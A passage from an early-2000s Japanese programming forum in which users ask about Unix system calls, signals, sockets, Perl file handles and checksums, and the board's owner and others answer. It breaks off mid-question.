引数に存在しないプログラムを指定した場合のsystem関数の戻り値が-1になる時と256になる時があります。
256の時は、上位8ビットが1なのでシェルのexitコードが1のような気がするのですが、何も環境を変えていないのに戻り値が-1や256に変わる理由が思い浮かびません。
何度も繰り返していると-1と256が不規則に交互します。
この情報だけで何か分かりますでしょうか。
よろしくお願いします。

No. 3123 # 68user 2003/02/26 (水) 01:40:04
>>3121 Japper
> さて、findコマンドでファイルを検索をかけていますが
> 大きいファイル順に並べ替えるなど
大きいってファイルサイズのことですか?
もしそうなら find . -ls | sort +7 とか。

>>3122 koko
> system関数の戻り値が-1になる時と256になる時があります。
FreeBSD の system(3) がおっしゃるには
          The system() function returns the exit status of the shell as returned by
          waitpid(2), or -1 if an error occurred when invoking fork(2) or
          waitpid(2). A return value of 127 means the execution of the shell
          failed.
だそうです。

No. 3124 # koko 2003/02/26 (水) 09:49:46
>>3123 68user
確かに、私が調べたところでも同じ事が記述されていました。
試しに簡単なmainを作って存在しないコマンドをsystemで呼び出すとsystemの戻りは256(おそらくシェルの返すexitコード=1)だけでした。
-1は戻りませんでした。
256と-1が交互になるのは何か他の原因かもしれません。
もう少し調べてみます。
ありがとうございました。

No. 3125 # koko 2003/02/26 (水) 11:46:06
>>3124 koko
256と-1が交互になる件は解決しました。
SIGCHLDのシグナルハンドラを登録してあった為、シグナルハンドラが割り込んだ時のみsystemの戻り値が-1になっていた様です。
SIGCHLDをマスクしたところ、戻り値は256で安定しました。

No. 3126 # bebe 2003/02/26 (水) 19:00:41
find コマンドについて質問があります。
ファイル名で検索をかけたいと思うのですが、
UNIXだと英数字の大文字・小文字を区別してしまうので、例えば、
「a」で検索した場合、「A」というファイルは引っかからないかと
思います。
大文字・小文字の区別無く引っ掛けたいと思うのですが、その様な
オプション又は方法はありますか?

No. 3127 # 68user 2003/02/26 (水) 19:36:38
>>3126 bebe
最近の *BSD find や GNU find なら -iname とか -iregex とか。
そうでない find なら広めにひっかけて grep で絞りましょう。

No. 3128 # bebe 2003/02/28 (金) 13:58:18
>>3127 68user
findコマンドで引っ掛けられたらいいかと思ったのですが、
やっぱり広めに検索をかけて、grep等で絞り込むしかなさそ
ですね。
参考になりました。
有り難うございます。

No. 3129 # もも 2003/03/06 (木) 05:42:54
始めまして、いつもこちらでは陰ながら勉強させていtだいてます。
perlスクリプトのことでお教えください
ただ今企画中のスクリプトにおいて
外部コマンド実行時、そのコマンドプロセスの標準入力へ有る意味大量のデータ(文字列)を渡したいのです
しかしこの方法が全く頭に浮かばず情け無い状態であります!
PIPEやファイルシステムの基礎を知らない私にご教授下されば幸いです。

No. 3130 # 68user 2003/03/07 (金) 01:14:46
>>3129 もも
      open(OUT, "| command");
      print OUT "HOGEHOGEHOGEHOGEHOGEHOGEHOGE....";
      close(OUT);
ってことですか?

じゃなくて command の標準入力に渡しつつ、そのコマンドの
出力を受け取りたいなら IPC::Open2 などを使えばできます。
できますが、デッドロック回避などが面倒なので

      open(OUT, "| command > file");
      print OUT "HOGEHOGEHOGEHOGEHOGEHOGEHOGE....";
      close(OUT);
      open(IN, "< file");
      while (<IN>){
            ....
      }

でいーんではと思う軟弱な私。

No. 3131 # もも 2003/03/07 (金) 11:25:16
>>3139 金床
68user様なるほど理解しました前者が出来ればいいのです!
早速試してみます。ありがとうございました!

No. 3132 # koko 2003/03/10 (月) 10:36:24
親プロセスが複数の子プロセスを生成します。
親は子プロセスの終了をシグナル(SIGCHLD)ハンドラで検知し、waitで子プロセスの終了コード(exitの引数)を取得しています。
同時に、子プロセス数を減算します。(forkで子プロセス数を加算しています。)
シグナルハンドラの処理中に、別の子プロセスが終了した場合、SIGCHLDが無視されてしまう。
あるいは、ほぼ同時に複数の子プロセスが終了した場合には、1回しかSIGCHLDのシグナルが発生しないとの記述を見た事があるのですが、正しく全ての子プロセスの終了を検知する方法はありますでしょうか。
以前、頂いたNo. 2988で頂いた以下の方法でこのような懸念が解消されますでしょうか。

SIGCHLDのシグナルハンドラ--------------------------
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0){
                if(WIFEXITED(status)){
                        code = WEXITSTATUS(status);
                }
        }
--------------------------------------------------
また、waitpidがシグナルに割り込まれるとエラーになり、errnoにEINTRが設定されると思うのですが、WNOHANGを設定していた場合にはそのような事は無いと考えてしまって良いでしょうか。
よろしくお願いします。

No. 3133 # 68user 2003/03/10 (月) 22:33:46
>>3132 koko
まずは sigaction(2) を読んでください。

# わたしもよくわかってないので読んでいるところ。

No. 3134 # koko 2003/03/11 (火) 08:08:55
>> 3133
読んでみます。

No. 3135 # koko 2003/03/14 (金) 17:50:58
ソケット(TCP)に関する質問です。
サーバ(UNIX)とクライアント(WinSock)がソケットで通信しています。
サーバがクライアントに対してwriteでデータを送り、クライアントがrecvでそれを読む処理を作成しました。
サーバでwriteし、すぐにソケットそcloseすると、クライアントではrecvできずにエラーになります。(既に接続が破棄されている。)
サーバ側でwriteして、すぐにcloseしている事が原因の様です。
writeとcloseの間に1秒程度の時間をおくと、クライアントはrecvできました。
このように、writeとcloseが連続すると相手がrecvできないケースは当然の事なのでしょうか。
それとも、通常はrecvできるはずであり、他に問題がありそうでしょうか。
同じ経験をした事のある方がの意見なども聞けると助かります。
よろしくお願いします。

No. 3136 # 68user 2003/03/15 (土) 04:04:27
>>3135 koko
> 通常はrecvできるはず
だと思います。

No. 3137 # koko 2003/03/17 (月) 08:28:29
>>3136 68user
回答ありがとうございます。
他の原因を調べてみます。

No. 3138 # ajmj 2003/03/17 (月) 18:18:45
ファイルハンドルについての質問です。
Net::FTPで動的に作り出したCSVをアップしたいのですが、
ローカルにファイルを書き出さずにputする方法を教えてください。
FileHandle.pmを使って無名のファイルハンドラを作って、
そこにCSVを入れて、$FTP->put(FILEHANDLA)でアップさせる
とイメージしているのですが
よろしくお願いします。

No. 3139 # 金床 [URL] [E-mail] 2003/03/17 (月) 23:24:58
>>3135 koko
ソケットのクローズはどのAPIを使って(どんなソースコードで)行ってらっしゃいますか?
Winsockだと、shutdownを使わずにclosesocketを呼ぶとRSTフラグのセットされたパケットが飛ぶことが
あるような覚えがあります。

いずれにせよ、パケットキャプチャしてみると原因に近づけると思います。

No. 3140 # koko 2003/03/18 (火) 11:17:29
>>3139 金床
パケットをキャプチャしてみたところ、サーバからクライアントにRSTフラグのセットされたパケットは飛んでいました。

試したケースを整理します。
(1)accept直後にクライアントからの送信データをreadせずに、サーバ側から
write、closeすると、クライアントではサーバがwriteしたデータを受信できません。
(2)accept直後にクライアントからの送信データを1バイトでも良いのでreadし、サーバ側からwrite、closeすると、クライアントではサーバがwriteしたデータを受信できます。

(2)では、RSTフラグのセットされたパケットが飛ぶ前に、FIN ACKがセットされたパケットとクライアントで受信させたいパケットが飛んでおり、(1)ではFIN ACKがセットされたパケットとクライアントで受信させたいパケットが飛んでいません。

サーバ側でクライアントの送信電文を1バイト読む事で動きが変わるようなのですが、この辺が何か関係があるのかもしれません。

ちなみに、APIは以下の通りです。
サーバ(UNIX):socket,bind,listen,accept,select,read,write,close
クライアント(WIN):socket,bind,connect,listen,recv,send,closesocket

サーバ側でのソケットのクローズは、acceptの戻り値を引数にしてcloseをしているのみで、shutdownはしていません。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3141 # 68user 2003/03/18 (火) 21:02:38
>>3138 ajmj
> FileHandle.pmを使って無名のファイルハンドラを作って、
> そこにCSVを入れて、$FTP->put(FILEHANDLA)でアップさせる
というのが実現可能なのかどうかはわかりませんが (できない
ような気がする)、別解としては

    1. put じゃなくて stor("ファイル名") を呼ぶと、Net::FTP::dataconn
          オブジェクトが返ってくるので、それに対して write する。

    2. POSIX::mkfifo で名前付きパイプを作り、fork して、
          子が CSV データを作成、名前付きパイプに書き込む。
          親は Net::FTP::put に名前付きパイプを渡す。

あたりですかね。1 は perldoc Net::FTP を流し読んだだけで、
できるかどうかわかりません。2 は試していませんが、一応実現は
できるでしょう。

>>3140 koko
    http://www.kt.rim.or.jp/~ksk/wskfaq-ja/newbie.html#howclose
ですかね?

あと、情報を小出しにせず、最小限まで削ったソースコードを最初に
載せれば、話が早そうなのになぁと思ったりします。

まぁわたしは Winsock 知らないのでアレですが。

No. 3142 # kaki 2003/03/18 (火) 23:00:14
はじめまして、お世話になります。
kakiと申します。

現在、Linux(Redhat7.1 kernel2.4.2-2)、C言語にて
プログラムの作成をしております。

質問なのですが、プログラム上(C言語)からFD、CFなどのデバイスに
マウントし、FD、CF内のファイルを取得するということは
可能なのでしょうか?

お分かりになる方がおられましたら、ご教授お願いいたします。

No. 3143 # 金床 [URL] [E-mail] 2003/03/18 (火) 23:49:33
>>3140 koko
やっぱりRSTによる「異常終了」が原因のようですね。
shutdown()を使ってみると幸せになれると思います。

No. 3144 # 68user 2003/03/19 (水) 02:04:16
>>3142 kaki
mount(2) をどうぞ。あるいは DOS フォーマットならば mtools の
mtype あたりがお手軽かも。

ところで CF って何ですか? コンパクトフラッシュ?

No. 3145 # kaki 2003/03/19 (水) 09:12:15
>>3144 68user
ご回答ありがとうございます。

mountはコンソール上でのやり方は知っているのですが、
gccでコンパイルしたプログラムからも、
使えるということなのでしょうか?
また、コンソールで使えるコマンド(# mountや# cdなど)を
Cプログラムで使用するにはどのようにするのでしょうか?

実際、やりたいことはプログラムを起動したら、
FD、CF(コンパクトフラッシュ)にマウントし、
ファイルがあればディレクトリにコピーするといったことです。

参考になるサイトや文献などご存知でしたら、
教えてください。
よろしくお願いします。

No. 3146 # FF 2003/03/19 (水) 13:25:20
端末の入出力について質問です。

cronで実行されたシェルの出力を端末に出力したり、
端末からの入力を受けたりしたいのですが、どのよう
にすればよいのでしょうか?
次のようなやり方ではダメでした。
#ファイル名 a.sh
#!/bin/ksh
while [ : ]
do
        read INPUT?'?'
        if [[ $INPUT = 'q' ]]; then
                exit
        fi
done
#スクリプト終了
% a.sh < /dev/pts/13 > /dev/pts/13 2&>1

どなたか教えてください。よろしくお願いします。

No. 3147 # 68user 2003/03/19 (水) 13:51:15
>>3145 kaki
> mountはコンソール上でのやり方は知っているのですが、
> gccでコンパイルしたプログラムからも、
> 使えるということなのでしょうか?
mount(1) は内部で mount(2) を呼んでいるだけなので、自分で
mount(2) を呼んでやればよいわけです。

mount(1) のマニュアル http://www.linux.or.jp/JM/html/util-linux/man8/mount.8.html
mount(2) のマニュアル http://www.linux.or.jp/JM/html/LDP_man-pages/man2/mount.2.html
セクションとは? http://www.linux.or.jp/JM/section.html

> また、コンソールで使えるコマンド(# mountや# cdなど)を
> Cプログラムで使用するにはどのようにするのでしょうか?
system(3) を使います。
    http://www.linux.or.jp/JM/html/LDP_man-pages/man3/system.3.html

なお、cd は海より深い理由により、system(3) からは使えません。
chdir(2) を自分で発行してください。
    http://www.linux.or.jp/JM/html/LDP_man-pages/man2/chdir.2.html

>>3146 FF
> cronで実行されたシェルの出力を端末に出力したり、
> 端末からの入力を受けたりしたいのですが、
おそらく「端末」という用語を誤解されていると思いますが、cron から
実行した場合は端末は割り当てられないので、それは不可能です。

で、あなたが本当は何をしたいかという話になるわけですが、コンソール
(マシンにつながっているモニタ) に文字列を出したいんですか?

あるいはファイルにあらかじめ入力文字列を書いておいて、ファイルに
出力したいんですか?

No. 3148 # FF 2003/03/19 (水) 14:47:05
>> 3147 68user

>おそらく「端末」という用語を誤解されていると思いますが、cron から
>実行した場合は端末は割り当てられないので、それは不可能です。
「端末」は、画面と入力が行える(ディスプレイとキーボード)と認識
してましたが間違っているでしょうか?また、cronに端末が割り当てら
れないのは認識していましたが、何らかの方法で端末を割り当てるか、
リダイレクトなどで入出力できないものかと思って質問させていただき
ました。

質問時には、コマンドラインでシェルを実行し確認したところ、
readのpromptが適切に表示できないなど若干問題があったので質問
させていただいたのですが、cronで”a.sh < /dev/pts/13 > /dev/pts/13 2&>1”を実行したところ正しく動作しているよう
です。現在は、本当にこれでいいのか(コマンドラインではうまく
いかなかったので)、動作で注意すべき点はないか(どのデバイス
に出力すればよいか)悩んでいるところです。なにかアドバイスが
あればよろしくお願いします。

>で、あなたが本当は何をしたいかという話になるわけですが、コンソール
>(マシンにつながっているモニタ) に文字列を出したいんですか?
コンソールに入力を促す文字列を出力し、ユーザからの入力を受け取り
たいのです。(read INPUT?'?'を行いたい)

UNIX汎用だとおもったので環境は書かなかったのですが、一応記述します。
NCRのUNIX V(らしい)でK Shellを利用しています。

よろしくお願いします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3149 # kaki 2003/03/19 (水) 16:52:19
>>3147 68user
68user さんありがとうございます!!

system("mount /mnt/floppy");
system("ls /home");
など実現できました!!
ありがとうございました。

No. 3150 # 68user 2003/03/20 (木) 00:26:24
>>3148 FF
> cronで”a.sh < /dev/pts/13 > /dev/pts/13 2&>1”を実行したところ
> 正しく動作しているようです。
ほー、FreeBSD で試してみましたが、これ、できるんですねぇ。
知りませんでした。ただ、出力はいいとして、入力については

        ちょうどそのときその端末デバイスからの入力を受け付ける
        プログラム (シェルとか) が走っていた場合、キー入力が
        そのプログラムに渡るか、a.sh に渡るかは不定

なような気がします (FreeBSD で試した限りでは、ですが)。

あとは
    - その端末を読み書きする権限があるかどうか (パーミッションの問題)
    - 誰もログインしていなかったらどうするか
    - 複数の端末があった場合は who などで調べるとしても、
        どの端末を選べばいいのか
    - (ウィンドウシステムがあるとして) たまたま選んだ端末がウィンドウの
        後ろに隠れていたら
とかいろいろ問題ありげなので、お勧めはしません。

No. 3151 # 68user 2003/03/20 (木) 02:03:07
「ネットワークプログラミングの基礎知識」の「リンク集・参考書籍」
      http://x68000.startshop.co.jp/~68user/net/link-book.html
にちょろっと追加しました。

# http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/link-book.html

No. 3152 # FF 2003/03/20 (木) 13:40:24
>>3150 68user
68userさんご返答ありがとうございます。

>ちょうどそのときその端末デバイスからの入力を受け付ける
>プログラム (シェルとか) が走っていた場合、キー入力が
>そのプログラムに渡るか、a.sh に渡るかは不定
最初のreadの受け取りで若干おかしな動作をする(シェルのプロ
ンプトが表示される)ようなので、cronを使わず常駐して時間に
なったら動作するようにしました。

ありがとうございました。

No. 3153 # 68user 2003/03/23 (日) 18:50:44
内容あやしげ、そして需要がほとんどないと思われる
    「DNS クライアントを作ってみよう」
を書きました。
    http://x68000.startshop.co.jp/~68user/net/resolver-1.html
    http://x68000.startshop.co.jp/~68user/net/resolver-2.html
    http://x68000.startshop.co.jp/~68user/net/resolver-3.html

3連休つぶれちゃったよ。とほほ。

No. 3154 # kaki 2003/03/24 (月) 22:05:55
お世話になります。kakiです。

現在、LAN経由でクライアントから送られてくる(55msec毎)データを、
取得し、表示するHTTPサーバーを作成しています。

サーバー側で、クライアントと接続中にLANケーブルが抜けたのを
検出するのに、受信ループ中のping()で戻り値を判断して、
抜けているかどうかを判断しようとしていますが、
この方法は正攻法なのでしょうか?

また、その方法を試そうと思ったのですが、
accept()後のrecv()で受信待ちをしてしまっている為、
ケーブル断が検出できていません。
受信待ちをしないよう、socket()後にfcntl(s,F_SETFL,O_NONBLOCK)と
しているのですがrecv()でとまっているようです。
fcntl()の使い方が間違っているのでしょうか?

No. 3155 # 68user 2003/03/24 (月) 23:23:30
>>3154 kaki
> この方法は正攻法なのでしょうか?
正攻法とは何かという話になってしまいますが、TCP/IP の設計思想的には
誤りです。ケーブルが抜けようがルータが落ちようが、その部分が復旧したら
元通りに通信できるべきである、という考えだからです。

と言っても、タイムアウトを実装したいというケースもあるでしょうが、
わたしなら select したり non-blocking socket 使うと思います。ケーブル
断だけでなく、クライアント側のバグなどで いつまでたっても反応がない
場合なども対応できるからです。

サーバ側のケーブル断であれば
>>1301 rosegarden
という話もあったりしますが、通信できない原因はたくさん考えられるのに、
なぜサーバ側のケーブル断だけ特別扱いするのか、という話になるのではないかと。

> 受信待ちをしないよう、socket()後にfcntl(s,F_SETFL,O_NONBLOCK)と
> しているのですがrecv()でとまっているようです。
> fcntl()の使い方が間違っているのでしょうか?
non-blocking socket を使ったことがないのでわかりませんが、あってる
ような気がします。

多分これは関係ないでしょうけど、とりあえず
      int val = fcntl(s, F_GETFL, 0);
      fcntl(s, F_SETFL, val | O_NONBLOCK);
の方がいいでしょうね。

No. 3156 # ふくし 2003/03/26 (水) 10:11:45
質問です。Windows のDOS窓で
0x01〜0x06、0x10、0x15〜0x17 で水道管みたいな罫線が出たり、
0x12、0x1b〜0x1fでちっちゃな矢印が出ますが、
これらの文字は誰がどこで決めたのでしょうか。
おわかりでしたらご教示ください。

No. 3157 # 68user 2003/03/26 (水) 12:15:26
>>3156 ふくし
調べましたが、わかりませんでした。
      http://czyborra.com/charsets/codepages.html
を見るに、
> 0x12、0x1b〜0x1fでちっちゃな矢印
は CP437 あたりだと思いますが、なぜ 0x01 で 0xC9 な
水道管が出るのかはわかりません。

      http://www2d.biglobe.ne.jp/~msyk/cgi-bin/charcode/
で質問してみてはどうでしょうか。

No. 3158 # ふくし 2003/03/26 (水) 16:49:02
>>3157 68user
さん、ありがとうございます!
聞いてみます。
ちなみにDOS窓でjpとやると出てくる字から想像するに、
CP932ですよね。
usとやると437に切り替わりますが、そうすると出てくる字は
下で出てきたCP437そのままのようです。

No. 3159 # 68user 2003/03/26 (水) 19:59:17
たまに referer 見てみると、知らないところで突っ込まれて
たりするのでおもしろい。

http://dns.qmail.jp/lies.html
> コンテンツサーバとキャッシュサーバの違いを理解していな可能性が高いから。

うっ。勉強しよう。

No. 3160 # saki 2003/03/26 (水) 20:16:43
お世話になります。

gcc(全般)でコンパイルした実行ファイルには
チェックサムは付加されているのでしょうか?

No. 3161 # 68user 2003/03/26 (水) 20:34:52
>>3160 saki
> チェックサム
の意味がわかりません。

ファイル転送などで化けてしまったバイナリを実行しようと
すると、「チェックサムが一致しません」とか言ってくれる、
ような感じですか? もしそうなら、そういう機能は聞いたこと
ありません。

もしかして、そういうのが可能なコンパイラがあるのでしょうか。

No. 3162 # saki 2003/03/26 (水) 21:16:03
>>3161 68user
68userさん ご返答ありがとうございます。

そのチェックサムです。
ファイルをバイナリで開いて、そのファイルの全バイナリ値の合計のこと
だそうです。(すいません私もあまり詳しくないのです。)

あるファイルをコピー(ダウンロード)する時に、
コピー前のファイルとコピー後のファイルのチェックサムを
比較して、あっていればコピーが正常、あっていなければ異常と
するプログラムを作りたいと思っていまして、

> gcc(全般)でコンパイルした実行ファイルには
> チェックサムは付加されているのでしょうか?
とお聞きしたのは、ファイルそのものにチェックサムが付加されていれば
ファイルをオープンしてチェックサムの値を比べるだけで済むのかなぁと
思いまして・・・。

そういう機能がないのであれば、チェックサム自体をプログラムで
作ろうと思い、
ネットで調べたのですが簡単すぎるからなのか情報があまりありません。

参考になるサイトや本などあれば、勉強したいのですが、
ご存知のかたはいますでしょうか?

No. 3163 # 68user 2003/03/27 (木) 02:40:54
>>3162 saki
チェックしたいのがバイナリだけでいいのか、データファイルも
含むファイル一般なのかわかりませんが、前者であれば gzexe
      http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=gzexe&dir=jpman-5.0.0%2Fman
を使うのが簡単でしょう。gzexe は実行ファイルを圧縮しておく
ためのコマンドですが、実行時に gzip で展開するので、結果的に
gzip の誤り検出機能をそのまま利用できます。gzexe も 圧縮した
実行ファイルも、いずれも sh スクリプトですので、改造も簡単
でしょう。

後者であれば、単に gzip を使う手もありますし、あるいは
cksum や md5 などのコマンドを利用するのもいいでしょう。
    http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman
    http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=md5&dir=jpman-5.0.0%2Fman
    http://www3.cds.ne.jp/~marimo/data/rfc/rfc1321-jp.txt

なお、誤り検出のアルゴリズムとしては、
> ファイルをバイナリで開いて、そのファイルの全バイナリ値の
> 合計のことだそうです。
は単純すぎます。言っちゃ悪いですが、この程度の認識しか持っていない
のであれば、cksum や md5 などのコマンドを利用した方がよいです。

No. 3164 # has 2003/03/27 (木) 03:19:01
>>3153 68user
なんかわざわざ書いてもらったようで恐縮です。
なんでもそうですが、自分が必要と思う部分を理解するには
その周りの事情全てを勉強しておけ、というのが世間の常識なので、
俺みたくよこしまな考えでDNS関連の本やらWEBやらRFCやらを
眺めている輩にはなかなかハードルが高かったのですが、
おかげでDNS関連の資料に目を通すのにも少し抵抗が和らぎました。

ところで例の話の続きなんですが、うちのlinux(kernel-2.4.18+
glibc-2.2.4)では、bind-8.3.4-RELのdig8.3で名前解決できません。
straceしてみると、どうもpoll()で受信を検出できていないようです。
glibcの名前解決も同様のコーディングだったので、poll()を試しに
select(),pselect()に変えてみましたがダメでした。
一方でbind9.1.3付属のdigでは名前解決ができました。
というわけで、そのコードをglibcに移植してしまえ、と思ったのですが、
iscライブラリというのが理解できず、結局移植はできていません。
一時はgethostbyname()内部を、正常に動作するdig9.1.3をsystem()で
呼び出し、その結果を拾ってくるように書き換えようと思いましたが、
どうやらgethostbyname()の利用頻度が低いようだったのでやめました。

今後についてはどうするか未定ですが、また調査しつつ改修しつつで
行きたいと思います。

No. 3165 # へにか [URL] 2003/03/27 (木) 08:10:23
かなりお久しぶりです。

>>3163 68user
実は私も、チェックサム=合計と思っていました。cksumのように
CRC演算するものもチェックサムと呼ばれるようになった経緯を何
かご存知でしたら、教えていただけませんか?

#少なくとも、CRC演算は合計(=サム)ではないです・・・

No. 3166 # 68user 2003/03/27 (木) 08:26:35
>>3165 へにか
> 実は私も、チェックサム=合計と思っていました。
広義のチェックサムと狭義のチェックサムがあって、狭義の
チェックサムは
      http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman#sect2
で言うところのアルゴリズム 1 なのだろうとわたしは思って
います。このマニュアルではアルゴリズム 2・3 も「チェックサム」
と呼んでますね (それが一般的なのかどうかはわかりませんが)。

>>3163 68user
を書いたときは、わたしの中では「チェックサム=広義のチェックサム」
だったので、あのような書き方をしましたが、
> ファイルをバイナリで開いて、そのファイルの全バイナリ値の
> 合計のことだそうです。
は正しいですね。失礼しました。

No. 3167 # 68user 2003/03/27 (木) 08:30:37
>>3166 68user
> チェックサムは
> http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman#sect2
> で言うところのアルゴリズム 1 なのだろう
あ、加算のたびに右ローテートって書いてあるので、アルゴリズム 1 も
「狭義のチェックサム」とは異なるんですね。

No. 3168 # saki 2003/03/27 (木) 11:54:48
68userさん、へにかさん
ご返答ありがとうございます。

大変、勉強になりました。
チェックサムといっても、いろいろなやり方があるのですね。

>cksum や md5 などのコマンドを利用した方がよいです。
組込のLinuxだったので上記のようなコマンドがなく、
自作しました。
全バイナリ値を合計して、16bit桁あふれしたら、
あふれた分を削除するという簡単なものです。
こんなのでもいいのかなと不安になりますが、
貴重な情報をありがとうございました。

No. 3169 # ふくし 2003/03/27 (木) 19:36:18
すいません、また質問です。

Windows で ActivePerl を使うと、
\r\n を読み込むと \n を読み込んだと思い込み、
\n を書き出すと \r\n を書き出そうとする習性があります。

これを停止するために
  binmode STDIN;
  binmode STDOUT;
とするのですが、こうすると
  while (<>) {
      ...
  }
で読み込もうとするときに、
  C:\> perl スクリプト名 < ファイル
だとうまくいくのですが、
  C:\> perl スクリプト名 ファイル
だとうまくいきません。

つまり、<> は引数でファイル名を渡されると、
STDIN 以外のファイルハンドルからファイルを読んでいるようなのですが、
このファイルハンドル名は分かるでしょうか?

ActivePerl を Windows 2000 以降で使うと、
スクリプト名に .pl という拡張子を付けると
  C:\> スクリプト名
でいきなり実行できて便利なのですが、
このスクリプトの中で <> を使うと、
  C:\> スクリプト名 ファイル名
だとうまくいくのですが、
  C:\> スクリプト名 < ファイル名
だと '<' を第1の引数と思い込んでうまくありません。

動かそうとしてるのはしょうもないファイルダンプツールです。

# fdump.pl

#$file = shift;

#open IN, $file;
#binmode IN;
binmode STDIN;
binmode STDOUT;

#$/ = "\r\n";

while (<>) { # 1行ずつ読み込み
    $line1 = $line2 = $line3 = ""; # 作業域を初期化
    @char = split //; # 1文字ずつ分解
    foreach $char (@char) { # 1文字ずつ処理
        $line1 .= $char; # 文字をそのまま $line1 にくっつける
        $hex = unpack "H2", $char; # $charを16進数値に変換して$hexに格納
        ($hex1, $hex2) = split //, $hex; # $hexを1文字ずつ分解して$hex1、$hex2に格納
        $line2 .= $hex1; # 16進数の前半を$line2にくっつける
        $line3 .= $hex2; # 16進数の後半を$line3にくっつける
    }
    print $line1; # $line1を出力する(改行はもともとついている)
    print "$line2\r\n"; # $line2+改行を出力する
    print "$line3\r\n"; # $line2+改行を出力する
}

No. 3170 # 68user 2003/03/27 (木) 21:09:17
>>3164 has
> straceしてみると、どうもpoll()で受信を検出できていないようです。
ほほう、glibc の問題かカーネルの問題かはわかりませんが、今どきの
Linux でそんな問題にぶちあたるとは運がいいですね。

ここは一気に UDP・IP スタックを解析して、Linus にパッチを送付する
まで頑張ってください。しかし粘りますねぇ (笑)

# NIC を変えたらすんなり直ったりして。


>>3169 ふくし
% grep '<>' /usr/src/contrib/perl5/*
/usr/src/contrib/perl5/toke.c: /* turn <> into <ARGV> */

となったので、それを手がかりに調べてみると、perl(1) に
以下のように書いてありました。

      次のループは、

                while (<>) {
                          ... # 各行に対するコード
                }

      以下の疑似コードと同等になります。

                unshift(@ARGV, '-') if $#ARGV < $[;
                while ($ARGV = shift) {
                          open(ARGV, $ARGV);
                          while (<ARGV>) {
                                    ... # 各行に対するコード
                          }
                }

本当に binmode ARGV でうまくいくのかどうかは試していません。

他の調べ方としては print %main::; でシンボルテーブルを表示し、
片っ端から試してみる、とかですかね。

No. 3171 # ふくし 2003/03/27 (木) 21:53:55
<<3170
さん、

ありがとうございます。
結果として、

while (<ARGV>) {
  ...
}

でも

while (<>) {
  ...
}

同様に動くので、<>のファイルハンドルがARGVであることに
間違いはないようですが、

binmode ARGV;

は効かないようです!? へんだなぁ、、。

No. 3172 # へにか 2003/03/27 (木) 22:38:42
>>3166 68user
なるほど、狭義と広義の差が有るんですね。僕にとっては、
新たな知識です。どうも教えていただいて、ありがとうござ
います。

20年程前のパソコン雑誌に載っていた機械語プログラムには、
横一列の合計が書いてあったのを懐かしんで、こんな質問を
してしまいました。確か最初は何も無く、次に横一列、次に
縦一列と横一列、その次にそれ+CRC演算が出てきたという
記憶があります。確か一列はどちらも1octet x 16個で、CRC
は256octet毎に1octetでした。

僕も、その後GoogleでCRCもチェックサムと呼ぶようになっ
た経緯を調べたのですが、経緯自体は、なかなか見つからな
いですね。
もし、どなたか見つけたら、教えていただければ嬉しいです。

蛇足ですが、単純に足すだけだと間違いが見つかりにくいので、
> 加算のたびに右ローテート
のような工夫がされているんでしょうね(推測です)。

No. 3173 # 68user 2003/04/03 (木) 20:37:47
>>3172 へにか
> なるほど、狭義と広義の差が有るんですね。僕にとっては、
> 新たな知識です。
わたしが世の中の「チェックサム」という用語の使われ方を見る限り、
広義のチェックサムと狭義のチェックサムがあるのでは、と思った
だけですので、誤解のなきよう。

例えば IP・UDP・TCP のチェックサムは「1の補数和の 1の補数」で
狭義のチェックサムだと思いますが、一方 java.utik.zip.CRC32
    http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/util/zip/CRC32.html
は Checksum インタフェースを implements していますが、この「Checksum」
は広義のチェックサムかなぁと。…ってなんか苦しい例だなぁ。

      http://www.onelook.com/?w=checksum&ls=a#all_com
を見ても、わたしの思う「狭義のチェックサム」しか載ってないよう
ですし、やっぱりわたしの認識が変なのですかねぇ。

ちなみに
      http://www.jisc.go.jp/index.html
で JIS を調べてみましたが、「チェックサム」の定義は見付けられませんでした。

>>has
あの後、寝てしまいました…。

No. 3174 # has 2003/04/04 (金) 02:27:37
時間のあるときに、遊びつつ飲みつつちょっとずつですが、
linux kernel-2.4.18-24.7.xにてpoll()を追っかけてます。
相当飛ばし読みでやっとこ__pollwait()。
けど先が見えません…。

@68user
あいかわらずですな。またの機会に。

No. 3175 # へにか [URL] 2003/04/04 (金) 07:43:58
>>3173 68user
> 誤解のなきよう。
了解しました。

色々調べていただいて、ありがとうございます。
http://www.onelook.com/?w=checksum&ls=a#all_com
のリンク先、これから追いかけてみます。

そこで、早速二箇所追いかけたところ、面白い記述を見つけました。

http://www.wikipedia.org/wiki/Checksum
> Note: The term 'checksum' is also often used incorrectly to mean a CRC.

http://www.wikipedia.org/wiki/CRC
>CRC's are often referred to as "checksums," but such
> designations are not accurate since, technically,
> a checksum is calculated through addition, not division.

incorrectlyを始め、思わずbabylonで単語の意味を調べてしまいました。;)
とにかく歴史上などの何らかの事由で捻じ曲がったのではないかと推測
していますが、なんとかその確証が得られるよう、調べてみます。
運良く見つけたら、連絡します。見つけられなかったら、次回の(他の
ネタを含む)書き込み時に、その旨お伝えいたします。

#教えて頂いたリンク先、情報の宝庫ですね。ありがとうございます。

No. 3176 # へにか [URL] 2003/04/04 (金) 07:55:14
#連続ですみません。

>>3173 68user
>やっぱりわたしの認識が変なのですかねぇ。
少なくとも、cksumが存在する以上、(繰り返しになりますが)何らかの
事由があったのでしょうから、変と思わなくても良いのではないかと思
います。といいますか、その事由に依存すると思いますので、変かどう
かという問題ではないかもしれません。

#尊敬する68userさんでも困難な問題なので、わたくしごときが調べ
#きれるかどうか自信ないですが、挑戦してみます。

No. 3177 # ある厨 2003/04/05 (土) 00:56:50
ども。以前erro.cgiの件でお世話になった者ですが、
どうしても解決できない事が有り、質問させてください。

Web上にてユーザーがアカウントを自動登録できるようにしたのですが
登録したユーザーのquotaをcronで設定したく下記のようにしてみました。
